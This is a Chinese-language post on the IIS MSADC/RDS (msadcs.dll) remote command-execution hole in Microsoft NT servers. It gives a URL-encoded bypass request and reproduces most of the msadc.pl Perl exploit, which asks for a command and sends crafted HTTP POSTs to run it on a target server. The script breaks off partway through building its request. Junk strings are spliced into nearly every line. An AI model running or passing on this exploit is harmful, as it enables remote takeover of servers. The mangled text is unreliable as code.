IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
m|B= ]5c(:T F 涉及程序:
%:d7Ts&?Z Microsoft NT server
t+iHsCG)> %z-*C'j5H 描述:
HyU: BW;
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
p>;@]!YWQ G:":CX"O( 详细:
jh)@3c 如果你没有时间读详细内容的话,就删除:
"H).2{3(x c:\Program Files\Common Files\System\Msadc\msadcs.dll
fDf[:A,8 有关的安全问题就没有了。
%g}d}5s .Mb[j1L^ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
LWT\1# ^ls@Gr7`P 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
v62_VT2v 关于利用ODBC远程漏洞的描述,请参看:
9+^)?JUYll +h4W<YnW http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm c\1X NPGG JEp)8{.bW8 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
n jWe^ http://www.microsoft.com/security/bulletins/MS99-025faq.asp o+A1-&qhN WC`h+SC`. 这里不再论述。
?gl&q+mv )x7n-|y6 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
0bDc
4m B5;%R01A /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
1xW!j!A; 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
>bh+!5Y0 ],pB:= 78uImC*o #将下面这段保存为txt文件,然后: "perl -x 文件名"
q2vD)r 1N8] ~j #!perl
{,Q )D$i #
phuiLW{& # MSADC/RDS 'usage' (aka exploit) script
ORs:S$Nt$ #
A_zCSRF, # by rain.forest.puppy
Ig`q[o #
-[L\:'Gp5 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
E]OexRJ^i # beta test and find errors!
/'rj L<M N| DI
k use Socket; use Getopt::Std;
qY#*LqV getopts("e:vd:h:XR", \%args);
UhDQl%&He FBNLszT{L print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
9{jMO +Y sGH~jX if (!defined $args{h} && !defined $args{R}) {
AygdAg'\ print qq~
Ayw_LCUD Usage: msadc.pl -h <host> { -d <delay> -X -v }
]`&_!T -h <host> = host you want to scan (ip or domain)
bE
!SW2:M -d <seconds> = delay between calls, default 1 second
})/P[^ -X = dump Index Server path table, if available
Yub}AuU`v -v = verbose
Cdz&'en^ -e = external dictionary file for step 5
j%Au0k rUb{iU;~m Or a -R will resume a command session
lPR=C0h}@ szsVk#p ~; exit;}
a|7C6#iz$
/:4J $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
L/tpT?$fi if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
?$f.[;mh if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
73cb1kfPd if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Trv}YT. $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
AOR?2u if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
i<^X z Y\]ZIvTSb if (!defined $args{R}){ $ret = &has_msadc;
k4K.
mlIO die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
avRtYL o72r `2 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
-qIi.]/f"9 . "cmd /c ";
f CU] $in=<STDIN>; chomp $in;
(u@:PiU/eP $command="cmd /c " . $in ;
aj&L
Z DD6 .dlsiBh if (defined $args{R}) {&load; exit;}
+;KUL6 Z6Fu~D2Uy print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
OX7=g$S 1 &try_btcustmr;
yW|J`\`^T eJ?oz^ print "\nStep 2: Trying to make our own DSN...";
PXMd=,} &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
w.?4}'DK HoGYgye= print "\nStep 3: Trying known DSNs...";
MYS`@%ZV#k &known_dsn;
F/s
n"2 w \b+OW print "\nStep 4: Trying known .mdbs...";
wXQxZuk[ &known_mdb;
JQ1MuE' ]/=R ABi if (defined $args{e}){
|U|>YA1[b print "\nStep 5: Trying dictionary of DSN names...";
J\@6YU[A &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
d+q],\"R duY?LJ @g print "Sorry Charley...maybe next time?\n";
{cXr!N^K exit;
&>JP.//spi |(>`qL{| ##############################################################################
QoZV6 )zr*Ecz sub sendraw { # ripped and modded from whisker
BiYxI{V FD sleep($delay); # it's a DoS on the server! At least on mine...
}nd>SK4 my ($pstr)=@_;
H9*k(lnz` socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>@2<^&K` die("Socket problems\n");
GTdoUSUq if(connect(S,pack "SnA4x8",2,80,$target)){
%bi ie select(S); $|=1;
[:y:_ECs6 print $pstr; my @in=<S>;
T8o](:B~ select(STDOUT); close(S);
B)JMughq_ return @in;
JQ03om--( } else { die("Can't connect...\n"); }}
Ul}RT xJ DSU8jnrL ##############################################################################
kUd]8Ff! keAoJeG,J sub make_header { # make the HTTP request
EQm{qc; my $msadc=<<EOT
+fKOX#% POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
6.D|\;9{c User-Agent: ACTIVEDATA
U,=f}; Host: $ip
X4V>qHV72 Content-Length: $clen
;4rhhh&